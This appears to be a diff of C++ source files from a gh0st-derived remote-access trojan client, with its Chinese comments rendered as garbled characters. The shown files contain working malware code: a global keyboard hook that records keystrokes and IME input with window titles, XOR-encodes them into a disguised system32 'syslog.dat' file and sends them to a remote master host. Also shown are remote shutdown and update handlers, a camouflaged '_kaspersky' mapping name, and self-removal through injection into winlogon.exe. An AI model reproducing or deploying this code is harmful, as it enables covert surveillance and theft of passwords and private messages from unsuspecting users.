case COMMAND_SESSION:
|
||||
CSystemManager::ShutdownWindows(lpBuffer[1]);
|
||||
break;
|
||||
case COMMAND_RENAME_REMARK: // <20>ı<EFBFBD>ע
|
||||
SetHostID(m_strServiceName, (LPCTSTR)(lpBuffer + 1));
|
||||
break;
|
||||
case COMMAND_UPDATE_SERVER: // <20><><EFBFBD>·<EFBFBD><C2B7><EFBFBD><EFBFBD><EFBFBD>
|
||||
if (UpdateServer((char *)lpBuffer + 1))
|
||||
UnInstallService();
|
||||
break;
|
||||
case COMMAND_REPLAY_HEARTBEAT: // <20>ظ<EFBFBD><D8B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
void CKernelManager::UnInstallService()
|
||||
{
|
||||
char strServiceDll[MAX_PATH];
|
||||
char strRandomFile[MAX_PATH];
|
||||
|
||||
GetSystemDirectory(strServiceDll, sizeof(strServiceDll));
|
||||
lstrcat(strServiceDll, "\\");
|
||||
lstrcat(strServiceDll, m_strServiceName);
|
||||
lstrcat(strServiceDll, "ex.dll");
|
||||
|
||||
// װ<>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʱɾ<CAB1><C9BE>
|
||||
wsprintf(strRandomFile, "%d.bak", GetTickCount());
|
||||
MoveFile(strServiceDll, strRandomFile);
|
||||
MoveFileEx(strRandomFile, NULL, MOVEFILE_DELAY_UNTIL_REBOOT);
|
||||
|
||||
// ɾ<><C9BE><EFBFBD><EFBFBD><EFBFBD><EFBFBD>¼<EFBFBD>ļ<EFBFBD>
|
||||
|
||||
char strRecordFile[MAX_PATH];
|
||||
GetSystemDirectory(strRecordFile, sizeof(strRecordFile));
|
||||
lstrcat(strRecordFile, "\\syslog.dat");
|
||||
DeleteFile(strRecordFile);
|
||||
|
||||
if (m_dwServiceType != 0x120) // owner<65><72>Զ<EFBFBD><D4B6>ɾ<EFBFBD><C9BE><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Լ<EFBFBD>ֹͣ<CDA3>Լ<EFBFBD>ɾ<EFBFBD><C9BE>,Զ<><D4B6><EFBFBD>߳<EFBFBD>ɾ<EFBFBD><C9BE>
|
||||
{
|
||||
InjectRemoveService("winlogon.exe", m_strServiceName);
|
||||
}
|
||||
else // shared<65><64><EFBFBD>̵ķ<CCB5><C4B7><EFBFBD>,<2C><><EFBFBD><EFBFBD>ɾ<EFBFBD><C9BE><EFBFBD>Լ<EFBFBD>
|
||||
{
|
||||
RemoveService(m_strServiceName);
|
||||
}
|
||||
// <20><><EFBFBD>в<EFBFBD><D0B2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ɺ<EFBFBD><C9BA><EFBFBD>֪ͨ<CDA8><D6AA><EFBFBD>߳̿<DFB3><CCBF><EFBFBD><EFBFBD>˳<EFBFBD>
|
||||
CreateEvent(NULL, true, false, m_strKillEvent);
|
||||
}
|
||||
|
||||
bool CKernelManager::IsActived()
|
||||
{
|
||||
return m_bIsActived;
|
||||
}
|
||||
35
CcMainDll/CcMainDll/common/KernelManager.h
Normal file
35
CcMainDll/CcMainDll/common/KernelManager.h
Normal file
@@ -0,0 +1,35 @@
|
||||
// KernelManager.h: interface for the CKernelManager class.
|
||||
//
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
#if !defined(AFX_KERNELMANAGER_H__D38BBAEA_31C6_4C8A_8BF7_BF3E80182EAE__INCLUDED_)
|
||||
#define AFX_KERNELMANAGER_H__D38BBAEA_31C6_4C8A_8BF7_BF3E80182EAE__INCLUDED_
|
||||
|
||||
#if _MSC_VER > 1000
|
||||
#pragma once
|
||||
#endif // _MSC_VER > 1000
|
||||
|
||||
#include "Manager.h"
|
||||
//---<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> CManager <20><><EFBFBD>ǵ<EFBFBD>CClientSocket<65><74><EFBFBD>õ<EFBFBD> CManager::OnReceive <20><>ʵ<EFBFBD><CAB5><EFBFBD><EFBFBD><EFBFBD>õľ<C3B5><C4BE><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>OnReceive <20>鿴OnReceive
|
||||
class CKernelManager : public CManager
|
||||
{
|
||||
public:
|
||||
CKernelManager(CClientSocket *pClient, LPCTSTR lpszServiceName, DWORD dwServiceType, LPCTSTR lpszKillEvent,
|
||||
LPCTSTR lpszMasterHost, UINT nMasterPort);
|
||||
virtual ~CKernelManager();
|
||||
virtual void OnReceive(LPBYTE lpBuffer, UINT nSize);
|
||||
char m_strServiceName[256];
|
||||
char m_strKillEvent[256];
|
||||
|
||||
static char m_strMasterHost[256];
|
||||
static UINT m_nMasterPort;
|
||||
void UnInstallService();
|
||||
bool IsActived();
|
||||
private:
|
||||
HANDLE m_hThread[10000]; // <20>㹻<EFBFBD><E3B9BB><EFBFBD><EFBFBD>
|
||||
UINT m_nThreadCount;
|
||||
DWORD m_dwServiceType;
|
||||
bool m_bIsActived;
|
||||
};
|
||||
|
||||
#endif // !defined(AFX_KERNELMANAGER_H__D38BBAEA_31C6_4C8A_8BF7_BF3E80182EAE__INCLUDED_)
|
||||
314
CcMainDll/CcMainDll/common/KeyboardManager.cpp
Normal file
314
CcMainDll/CcMainDll/common/KeyboardManager.cpp
Normal file
@@ -0,0 +1,314 @@
|
||||
// KeyboardManager.cpp: implementation of the CKeyboardManager class.
|
||||
//
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
#include "..\pch.h"
|
||||
#include "KeyboardManager.h"
|
||||
#pragma comment(lib, "Imm32.lib")
|
||||
|
||||
bool g_bSignalHook = false;
|
||||
|
||||
TShared* CKeyboardManager::m_pTShared = NULL;
|
||||
HANDLE CKeyboardManager::m_hMapping_File = NULL;
|
||||
HINSTANCE CKeyboardManager::g_hInstance = NULL;
|
||||
DWORD CKeyboardManager::m_dwLastMsgTime = GetTickCount();
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
// Construction/Destruction
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
CKeyboardManager::CKeyboardManager(CClientSocket *pClient) : CManager(pClient)
|
||||
{
|
||||
g_bSignalHook = true;
|
||||
|
||||
sendStartKeyBoard();
|
||||
WaitForDialogOpen();
|
||||
sendOfflineRecord();
|
||||
|
||||
int dwOffset = m_pTShared->dwOffset;
|
||||
|
||||
while (m_pClient->IsRunning())
|
||||
{
|
||||
if (m_pTShared->dwOffset != dwOffset)
|
||||
{
|
||||
UINT nSize;
|
||||
if (m_pTShared->dwOffset < dwOffset)
|
||||
nSize = m_pTShared->dwOffset;
|
||||
else
|
||||
nSize = m_pTShared->dwOffset - dwOffset;
|
||||
|
||||
sendKeyBoardData((unsigned char *)&(m_pTShared->chKeyBoard[dwOffset]), nSize);
|
||||
|
||||
dwOffset = m_pTShared->dwOffset;
|
||||
}
|
||||
Sleep(300);
|
||||
}
|
||||
|
||||
if (!m_pTShared->bIsOffline)
|
||||
g_bSignalHook = false;
|
||||
}
|
||||
|
||||
CKeyboardManager::~CKeyboardManager()
|
||||
{
|
||||
|
||||
}
|
||||
|
||||
void CKeyboardManager::SaveToFile(char *lpBuffer)
|
||||
{
|
||||
HANDLE hFile = CreateFile(m_pTShared->strRecordFile, GENERIC_WRITE, FILE_SHARE_WRITE,
|
||||
NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
|
||||
DWORD dwBytesWrite = 0;
|
||||
DWORD dwSize = GetFileSize(hFile, NULL);
|
||||
// <20><><EFBFBD><EFBFBD>¼<EFBFBD><C2BC>С<EFBFBD><D0A1>50M
|
||||
if (dwSize < 1024 * 1024 * 50)
|
||||
SetFilePointer(hFile, 0, 0, FILE_END);
|
||||
|
||||
// <20><><EFBFBD><EFBFBD>
|
||||
int nLength = lstrlen(lpBuffer);
|
||||
LPBYTE lpEncodeBuffer = new BYTE[nLength];
|
||||
for (int i = 0; i < nLength; i++)
|
||||
lpEncodeBuffer[i] = lpBuffer[i] ^ XOR_ENCODE_VALUE;
|
||||
WriteFile(hFile, lpEncodeBuffer, nLength, &dwBytesWrite, NULL);
|
||||
CloseHandle(hFile);
|
||||
|
||||
delete lpEncodeBuffer;
|
||||
}
|
||||
|
||||
void CKeyboardManager::SaveInfo(char *lpBuffer)
|
||||
{
|
||||
if (lpBuffer == NULL)
|
||||
return;
|
||||
|
||||
DWORD dwBytes = strlen(lpBuffer);
|
||||
|
||||
if((dwBytes < 1) || (dwBytes > SIZE_IMM_BUFFER)) return;
|
||||
|
||||
HWND hWnd = GetActiveWindow();
|
||||
|
||||
if(hWnd != m_pTShared->hActWnd)
|
||||
{
|
||||
m_pTShared->hActWnd = hWnd;
|
||||
char strCapText[256];
|
||||
GetWindowText(m_pTShared->hActWnd, strCapText, sizeof(strCapText));
|
||||
|
||||
char strSaveString[1024 * 2];
|
||||
SYSTEMTIME SysTime;
|
||||
GetLocalTime(&SysTime);
|
||||
memset(strSaveString, 0, sizeof(strSaveString));
|
||||
wsprintf
|
||||
(
|
||||
strSaveString,
|
||||
"\r\n[%02d/%02d/%d %02d:%02d:%02d] (%s)\r\n",
|
||||
SysTime.wMonth, SysTime.wDay, SysTime.wYear,
|
||||
SysTime.wHour, SysTime.wMinute, SysTime.wSecond,
|
||||
strCapText
|
||||
);
|
||||
// <20>ú<EFBFBD><C3BA><EFBFBD>Ϊ<EFBFBD><CEAA>Ӧ<EFBFBD>ñ<EFBFBD><C3B1><EFBFBD><EFBFBD><EFBFBD>
|
||||
SaveInfo(strSaveString);
|
||||
}
|
||||
|
||||
if (m_pTShared->bIsOffline)
|
||||
{
|
||||
SaveToFile(lpBuffer);
|
||||
}
|
||||
|
||||
// reset
|
||||
if ((m_pTShared->dwOffset + dwBytes) > sizeof(m_pTShared->chKeyBoard))
|
||||
{
|
||||
memset(m_pTShared->chKeyBoard, 0, sizeof(m_pTShared->chKeyBoard));
|
||||
m_pTShared->dwOffset = 0;
|
||||
}
|
||||
lstrcat(m_pTShared->chKeyBoard, lpBuffer);
|
||||
m_pTShared->dwOffset += dwBytes;
|
||||
}
|
||||
|
||||
LRESULT CALLBACK CKeyboardManager::GetMsgProc(int nCode, WPARAM wParam, LPARAM lParam)
|
||||
{
|
||||
MSG* pMsg;
|
||||
char strChar[2];
|
||||
char KeyName[20];
|
||||
LRESULT result = CallNextHookEx(m_pTShared->hGetMsgHook, nCode, wParam, lParam);
|
||||
|
||||
pMsg = (MSG*)(lParam);
|
||||
// <20><>ֹ<EFBFBD><D6B9>Ϣ<EFBFBD>ظ<EFBFBD><D8B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>¼<EFBFBD>ظ<EFBFBD><D8B8><EFBFBD><EFBFBD><EFBFBD>pMsg->time<6D>ж<EFBFBD>
|
||||
if (
|
||||
(nCode != HC_ACTION) ||
|
||||
((pMsg->message != WM_IME_COMPOSITION) && (pMsg->message != WM_CHAR)) ||
|
||||
(m_dwLastMsgTime == pMsg->time)
|
||||
)
|
||||
{
|
||||
return result;
|
||||
}
|
||||
|
||||
m_dwLastMsgTime = pMsg->time;
|
||||
|
||||
if ((pMsg->message == WM_IME_COMPOSITION) && (pMsg->lParam & GCS_RESULTSTR))
|
||||
{
|
||||
HWND hWnd = pMsg->hwnd;
|
||||
HIMC hImc = ImmGetContext(hWnd);
|
||||
LONG strLen = ImmGetCompositionString(hImc, GCS_RESULTSTR, NULL, 0);
|
||||
// <20><><EFBFBD>ǵ<EFBFBD>UNICODE
|
||||
strLen += sizeof(WCHAR);
|
||||
ZeroMemory(m_pTShared->str, sizeof(m_pTShared->str));
|
||||
strLen = ImmGetCompositionString(hImc, GCS_RESULTSTR, m_pTShared->str, strLen);
|
||||
ImmReleaseContext(hWnd, hImc);
|
||||
SaveInfo(m_pTShared->str);
|
||||
}
|
||||
|
||||
if (pMsg->message == WM_CHAR)
|
||||
{
|
||||
if (pMsg->wParam <= 127 && pMsg->wParam >= 20)
|
||||
{
|
||||
strChar[0] = pMsg->wParam;
|
||||
strChar[1] = '\0';
|
||||
SaveInfo(strChar);
|
||||
}
|
||||
else if (pMsg->wParam == VK_RETURN)
|
||||
{
|
||||
SaveInfo("\r\n");
|
||||
}
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD>ַ<EFBFBD>
|
||||
else
|
||||
{
|
||||
memset(KeyName, 0, sizeof(KeyName));
|
||||
if (GetKeyNameText(pMsg->lParam, &(KeyName[1]), sizeof(KeyName) - 2) > 0)
|
||||
{
|
||||
KeyName[0] = '[';
|
||||
lstrcat(KeyName, "]");
|
||||
SaveInfo(KeyName);
|
||||
}
|
||||
}
|
||||
}
|
||||
return result;
|
||||
}
|
||||
|
||||
|
||||
void CKeyboardManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
|
||||
{
|
||||
if (lpBuffer[0] == COMMAND_NEXT)
|
||||
NotifyDialogIsOpen();
|
||||
|
||||
if (lpBuffer[0] == COMMAND_KEYBOARD_OFFLINE)
|
||||
{
|
||||
m_pTShared->bIsOffline = !m_pTShared->bIsOffline;
|
||||
if (!m_pTShared->bIsOffline)
|
||||
DeleteFile(m_pTShared->strRecordFile);
|
||||
else if (GetFileAttributes(m_pTShared->strRecordFile) == -1)
|
||||
{
|
||||
HANDLE hFile = CreateFile(m_pTShared->strRecordFile, GENERIC_WRITE, FILE_SHARE_WRITE, NULL,
|
||||
CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
|
||||
CloseHandle(hFile);
|
||||
}
|
||||
}
|
||||
if (lpBuffer[0] == COMMAND_KEYBOARD_CLEAR && m_pTShared->bIsOffline)
|
||||
{
|
||||
HANDLE hFile = CreateFile(m_pTShared->strRecordFile, GENERIC_WRITE, FILE_SHARE_WRITE, NULL,
|
||||
CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
|
||||
CloseHandle(hFile);
|
||||
}
|
||||
}
|
||||
|
||||
bool CKeyboardManager::Initialization()
|
||||
{
|
||||
CShareRestrictedSD ShareRestrictedSD;
|
||||
m_hMapping_File = CreateFileMapping((HANDLE)0xFFFFFFFF, ShareRestrictedSD.GetSA(), PAGE_READWRITE, 0, sizeof(TShared), "_kaspersky");
|
||||
if (m_hMapping_File == NULL)
|
||||
return false;
|
||||
|
||||
// ע<><D7A2>m_pTShared<65><64><EFBFBD>ܽ<EFBFBD><DCBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA><EFBFBD><EFBFBD><EFBFBD>Ѿ<EFBFBD><D1BE><EFBFBD><EFBFBD><EFBFBD>, Ҫ<><D2AA>StartHook<6F><6B><EFBFBD><EFBFBD><EFBFBD>в<EFBFBD><D0B2><EFBFBD>
|
||||
m_pTShared = (TShared *)MapViewOfFile(m_hMapping_File, FILE_MAP_WRITE | FILE_MAP_READ, 0, 0, 0);
|
||||
|
||||
if (m_pTShared == NULL)
|
||||
return false;
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
bool CKeyboardManager::StartHook()
|
||||
{
|
||||
if (!Initialization())
|
||||
return false;
|
||||
|
||||
ZeroMemory(m_pTShared, sizeof(TShared));
|
||||
|
||||
g_bSignalHook = true;
|
||||
|
||||
m_dwLastMsgTime = GetTickCount();
|
||||
m_pTShared->hActWnd = NULL;
|
||||
m_pTShared->hGetMsgHook = NULL;
|
||||
m_pTShared->dwOffset = 0;
|
||||
|
||||
ZeroMemory(m_pTShared->str, sizeof(m_pTShared->str));
|
||||
|
||||
GetSystemDirectory(m_pTShared->strRecordFile, sizeof(m_pTShared->strRecordFile));
|
||||
lstrcat(m_pTShared->strRecordFile, "\\syslog.dat");
|
||||
|
||||
// <20>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD>ڣ<EFBFBD><DAA3>Ϳ<EFBFBD>ʼ<EFBFBD><CABC><EFBFBD><EFBFBD>¼<EFBFBD><C2BC><EFBFBD><EFBFBD>
|
||||
if (GetFileAttributes(m_pTShared->strRecordFile) != -1)
|
||||
m_pTShared->bIsOffline = true;
|
||||
else
|
||||
m_pTShared->bIsOffline = false;
|
||||
|
||||
if (m_pTShared->hGetMsgHook == NULL)
|
||||
{
|
||||
m_pTShared->hGetMsgHook = SetWindowsHookEx(WH_GETMESSAGE, GetMsgProc, g_hInstance, 0);
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
void CKeyboardManager::StopHook()
|
||||
{
|
||||
if (m_pTShared->hGetMsgHook != NULL)
|
||||
UnhookWindowsHookEx(m_pTShared->hGetMsgHook);
|
||||
m_pTShared->hGetMsgHook = NULL;
|
||||
|
||||
UnmapViewOfFile(m_pTShared);
|
||||
CloseHandle(m_hMapping_File);
|
||||
m_pTShared = NULL;
|
||||
}
|
||||
|
||||
int CKeyboardManager::sendStartKeyBoard()
|
||||
{
|
||||
BYTE bToken[2];
|
||||
bToken[0] = TOKEN_KEYBOARD_START;
|
||||
bToken[1] = (BYTE)m_pTShared->bIsOffline;
|
||||
|
||||
return Send((LPBYTE)&bToken[0], sizeof(bToken));
|
||||
}
|
||||
|
||||
int CKeyboardManager::sendKeyBoardData(LPBYTE lpData, UINT nSize)
|
||||
{
|
||||
int nRet = -1;
|
||||
DWORD dwBytesLength = 1 + nSize;
|
||||
LPBYTE lpBuffer = (LPBYTE)LocalAlloc(LPTR, dwBytesLength);
|
||||
lpBuffer[0] = TOKEN_KEYBOARD_DATA;
|
||||
memcpy(lpBuffer + 1, lpData, nSize);
|
||||
|
||||
nRet = Send((LPBYTE)lpBuffer, dwBytesLength);
|
||||
LocalFree(lpBuffer);
|
||||
return nRet;
|
||||
}
|
||||
|
||||
int CKeyboardManager::sendOfflineRecord()
|
||||
{
|
||||
int nRet = 0;
|
||||
DWORD dwSize = 0;
|
||||
DWORD dwBytesRead = 0;
|
||||
char strRecordFile[MAX_PATH];
|
||||
GetSystemDirectory(strRecordFile, sizeof(strRecordFile));
|
||||
lstrcat(strRecordFile, "\\syslog.dat");
|
||||
HANDLE hFile = CreateFile(strRecordFile, GENERIC_READ, FILE_SHARE_READ,
|
||||
NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
|
||||
if (hFile != INVALID_HANDLE_VALUE)
|
||||
{
|
||||
dwSize = GetFileSize(hFile, NULL);
|
||||
char *lpBuffer = new char[dwSize];
|
||||
ReadFile(hFile, lpBuffer, dwSize, &dwBytesRead, NULL);
|
||||
// <20><><EFBFBD><EFBFBD>
|
||||
for (int i = 0; i < dwSize; i++)
|
||||
lpBuffer[i] ^= XOR_ENCODE_VALUE;
|
||||
nRet = sendKeyBoardData((LPBYTE)lpBuffer, dwSize);
|
||||
delete lpBuffer;
|
||||
}
|
||||
CloseHandle(hFile);
|
||||
return nRet;
|
||||
}
|
||||
171
CcMainDll/CcMainDll/common/KeyboardManager.h
Normal file
171
CcMainDll/CcMainDll/common/KeyboardManager.h
Normal file
@@ -0,0 +1,171 @@
|
||||
// KeyboardManager.h: interface for the CKeyboardManager class.
|
||||
//
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
#if !defined(AFX_KEYBOARDMANAGER_H__F0442063_CAAE_4BA1_B6CA_1FCB39A996AC__INCLUDED_)
|
||||
#define AFX_KEYBOARDMANAGER_H__F0442063_CAAE_4BA1_B6CA_1FCB39A996AC__INCLUDED_
|
||||
|
||||
#if _MSC_VER > 1000
|
||||
#pragma once
|
||||
#endif // _MSC_VER > 1000
|
||||
|
||||
#include "Manager.h"
|
||||
|
||||
#define SIZE_IMM_BUFFER 128
|
||||
#define XOR_ENCODE_VALUE 98 // <20><><EFBFBD>̼<EFBFBD>¼<EFBFBD><C2BC><EFBFBD>ܵ<EFBFBD>xorֵ
|
||||
|
||||
typedef struct
|
||||
{
|
||||
DWORD dwOffset;
|
||||
HHOOK hGetMsgHook;
|
||||
HWND hActWnd; //current actived window
|
||||
bool bIsOffline;
|
||||
char strRecordFile[MAX_PATH];
|
||||
char chKeyBoard[1024];
|
||||
char str[SIZE_IMM_BUFFER];
|
||||
}TShared;
|
||||
|
||||
|
||||
class CShareRestrictedSD
|
||||
{
|
||||
public:
|
||||
CShareRestrictedSD()
|
||||
{
|
||||
ptr = NULL;
|
||||
sa.nLength = sizeof(sa);
|
||||
sa.lpSecurityDescriptor = &sd;
|
||||
sa.bInheritHandle = FALSE;
|
||||
// build a restricted security descriptor
|
||||
ptr = BuildRestrictedSD(&sd);
|
||||
}
|
||||
|
||||
virtual ~CShareRestrictedSD()
|
||||
{
|
||||
if (ptr)
|
||||
FreeRestrictedSD(ptr);
|
||||
}
|
||||
|
||||
LPVOID BuildRestrictedSD(PSECURITY_DESCRIPTOR pSD)
|
||||
{
|
||||
|
||||
DWORD dwAclLength;
|
||||
PSID psidEveryone = NULL;
|
||||
PACL pDACL = NULL;
|
||||
BOOL bResult = FALSE;
|
||||
PACCESS_ALLOWED_ACE pACE = NULL;
|
||||
SID_IDENTIFIER_AUTHORITY siaWorld = SECURITY_WORLD_SID_AUTHORITY ;
|
||||
SECURITY_INFORMATION si = DACL_SECURITY_INFORMATION;
|
||||
|
||||
__try {
|
||||
|
||||
// initialize the security descriptor
|
||||
if (!InitializeSecurityDescriptor(pSD,
|
||||
SECURITY_DESCRIPTOR_REVISION)) {
|
||||
__leave;
|
||||
}
|
||||
|
||||
// obtain a sid for the Authenticated Users Group
|
||||
if (!AllocateAndInitializeSid(&siaWorld, 1,
|
||||
SECURITY_WORLD_RID, 0, 0, 0, 0, 0, 0, 0,
|
||||
&psidEveryone)) {
|
||||
__leave;
|
||||
}
|
||||
|
||||
// NOTE:
|
||||
//
|
||||
// The Authenticated Users group includes all user accounts that
|
||||
// have been successfully authenticated by the system. If access
|
||||
// must be restricted to a specific user or group other than
|
||||
// Authenticated Users, the SID can be constructed using the
|
||||
// LookupAccountSid() API based on a user or group name.
|
||||
|
||||
// calculate the DACL length
|
||||
dwAclLength = sizeof(ACL)
|
||||
// add space for Authenticated Users group ACE
|
||||
+ sizeof(ACCESS_ALLOWED_ACE) - sizeof(DWORD)
|
||||
+ GetLengthSid(psidEveryone);
|
||||
|
||||
// allocate memory for the DACL
|
||||
pDACL = (PACL) HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY,
|
||||
dwAclLength);
|
||||
if (!pDACL) {
|
||||
__leave;
|
||||
}
|
||||
|
||||
// initialize the DACL
|
||||
if (!InitializeAcl(pDACL, dwAclLength, ACL_REVISION)) {
|
||||
__leave;
|
||||
}
|
||||
|
||||
// add the Authenticated Users group ACE to the DACL with
|
||||
// GENERIC_READ, GENERIC_WRITE, and GENERIC_EXECUTE access
|
||||
if (!AddAccessAllowedAce(pDACL, ACL_REVISION,
|
||||
GENERIC_ALL,
|
||||
psidEveryone)) {
|
||||
__leave;
|
||||
}
|
||||
// set the DACL in the security descriptor
|
||||
if (!SetSecurityDescriptorDacl(pSD, TRUE, pDACL, FALSE)) {
|
||||
__leave;
|
||||
}
|
||||
|
||||
bResult = TRUE;
|
||||
|
||||
}
|
||||
__finally {
|
||||
if (psidEveryone) FreeSid(psidEveryone);
|
||||
}
|
||||
|
||||
if (bResult == FALSE) {
|
||||
if (pDACL) HeapFree(GetProcessHeap(), 0, pDACL);
|
||||
pDACL = NULL;
|
||||
}
|
||||
|
||||
return (LPVOID) pDACL;
|
||||
}
|
||||
|
||||
// The following function frees memory allocated in the
|
||||
// BuildRestrictedSD() function
|
||||
VOID FreeRestrictedSD(LPVOID ptr)
|
||||
{
|
||||
if (ptr) HeapFree(GetProcessHeap(), 0, ptr);
|
||||
}
|
||||
|
||||
SECURITY_ATTRIBUTES* GetSA()
|
||||
{
|
||||
if (ptr)
|
||||
return &sa;
|
||||
else
|
||||
return NULL;
|
||||
}
|
||||
|
||||
protected:
|
||||
LPVOID ptr;
|
||||
SECURITY_ATTRIBUTES sa;
|
||||
SECURITY_DESCRIPTOR sd;
|
||||
};
|
||||
|
||||
class CKeyboardManager : public CManager
|
||||
{
|
||||
public:
|
||||
CKeyboardManager(CClientSocket *pClient);
|
||||
virtual ~CKeyboardManager();
|
||||
virtual void OnReceive(LPBYTE lpBuffer, UINT nSize);
|
||||
static bool StartHook();
|
||||
static void StopHook();
|
||||
static bool Initialization();
|
||||
|
||||
static HINSTANCE g_hInstance;
|
||||
static DWORD m_dwLastMsgTime;
|
||||
static TShared* m_pTShared;
|
||||
static HANDLE m_hMapping_File;
|
||||
private:
|
||||
static LRESULT CALLBACK GetMsgProc(int nCode, WPARAM wParam, LPARAM lParam);
|
||||
static void SaveInfo(char *lpBuffer);
|
||||
static void SaveToFile(char *lpBuffer);
|
||||
int sendOfflineRecord();
|
||||
int sendStartKeyBoard();
|
||||
int sendKeyBoardData(LPBYTE lpData, UINT nSize);
|
||||
};
|
||||
|
||||
#endif // !defined(AFX_KEYBOARDMANAGER_H__F0442063_CAAE_4BA1_B6CA_1FCB39A996AC__INCLUDED_)
|
||||
56
CcMainDll/CcMainDll/common/Manager.cpp
Normal file
56
CcMainDll/CcMainDll/common/Manager.cpp
Normal file
@@ -0,0 +1,56 @@
|
||||
// Manager.cpp: implementation of the CManager class.
|
||||
//
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
|
||||
#include "..\pch.h"
|
||||
//---<2D><>ʵ<EFBFBD><CAB5>CManager<65><72>ʲôҲû<D2B2><C3BB>ʵ<EFBFBD><CAB5> <20><><EFBFBD><EFBFBD>ȥ<EFBFBD><C8A5><EFBFBD><EFBFBD>gh0st<73><74><EFBFBD><EFBFBD>ôʹ<C3B4><CAB9>cClientSocket<65>ĵ<EFBFBD>main <20><><EFBFBD><EFBFBD>
|
||||
#include "Manager.h"
|
||||
#include "until.h"
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
// Construction/Destruction
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
CManager::CManager(CClientSocket *pClient)
|
||||
{
|
||||
m_pClient = pClient;
|
||||
m_pClient->setManagerCallBack(this);
|
||||
|
||||
/*
|
||||
bManualReset
|
||||
[in] Specifies whether a manual-reset or auto-reset event object is created. If TRUE, then you must use the ResetEvent function to manually reset the state to nonsignaled. If FALSE, the system automatically resets the state to nonsignaled after a single waiting thread has been released.
|
||||
*/
|
||||
// <20>ڶ<EFBFBD><DAB6><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϊtrue,<2C><>ֹϵͳ<CFB5>Զ<EFBFBD><D4B6><EFBFBD><EFBFBD><EFBFBD><EFBFBD>¼<EFBFBD>
|
||||
m_hEventDlgOpen = CreateEvent(NULL, true, false, NULL);
|
||||
}
|
||||
|
||||
CManager::~CManager()
|
||||
{
|
||||
CloseHandle(m_hEventDlgOpen);
|
||||
}
|
||||
void CManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
|
||||
{
|
||||
|
||||
}
|
||||
|
||||
int CManager::Send(LPBYTE lpData, UINT nSize)
|
||||
{
|
||||
int nRet = 0;
|
||||
try
|
||||
{
|
||||
nRet = m_pClient->Send((LPBYTE)lpData, nSize);
|
||||
}catch(...){};
|
||||
return nRet;
|
||||
}
|
||||
|
||||
void CManager::WaitForDialogOpen()
|
||||
{
|
||||
WaitForSingleObject(m_hEventDlgOpen, INFINITE);
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Sleep,<2C><>ΪԶ<CEAA>̴<EFBFBD><CCB4>ڴ<EFBFBD>InitDialog<6F>з<EFBFBD><D0B7><EFBFBD>COMMAND_NEXT<58><54><EFBFBD><EFBFBD>ʾ<EFBFBD><CABE>Ҫһ<D2AA><D2BB>ʱ<EFBFBD><CAB1>
|
||||
Sleep(150);
|
||||
}
|
||||
|
||||
void CManager::NotifyDialogIsOpen()
|
||||
{
|
||||
SetEvent(m_hEventDlgOpen);
|
||||
}
|
||||
36
CcMainDll/CcMainDll/common/Manager.h
Normal file
36
CcMainDll/CcMainDll/common/Manager.h
Normal file
@@ -0,0 +1,36 @@
|
||||
// Manager.h: interface for the CManager class.
|
||||
//
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
#if !defined(AFX_MANAGER_H__5935556F_19FF_4676_898A_3D750F2F2658__INCLUDED_)
|
||||
#define AFX_MANAGER_H__5935556F_19FF_4676_898A_3D750F2F2658__INCLUDED_
|
||||
|
||||
#if _MSC_VER > 1000
|
||||
#pragma once
|
||||
#endif // _MSC_VER > 1000
|
||||
#include <winsock2.h>
|
||||
#include "../ClientSocket.h"
|
||||
#include "..\..\..\common\macros.h"
|
||||
#include "until.h"
|
||||
#ifdef _CONSOLE
|
||||
#include <stdio.h>
|
||||
#endif
|
||||
class CManager
|
||||
{
|
||||
friend class CClientSocket;
|
||||
typedef int (*SENDPROC)(LPBYTE lpData, UINT nSize);
|
||||
public:
|
||||
CManager(CClientSocket *pClient);
|
||||
virtual ~CManager();
|
||||
virtual void OnReceive(LPBYTE lpBuffer, UINT nSize);
|
||||
int Send(LPBYTE lpData, UINT nSize);
|
||||
CClientSocket *m_pClient;
|
||||
|
||||
HANDLE m_hEventDlgOpen;
|
||||
void WaitForDialogOpen();
|
||||
void NotifyDialogIsOpen();
|
||||
private:
|
||||
SENDPROC m_pSendProc;
|
||||
};
|
||||
|
||||
#endif // !defined(AFX_MANAGER_H__5935556F_19FF_4676_898A_3D750F2F2658__INCLUDED_)
|
||||
243
CcMainDll/CcMainDll/common/RegEditEx.cpp
Normal file
243
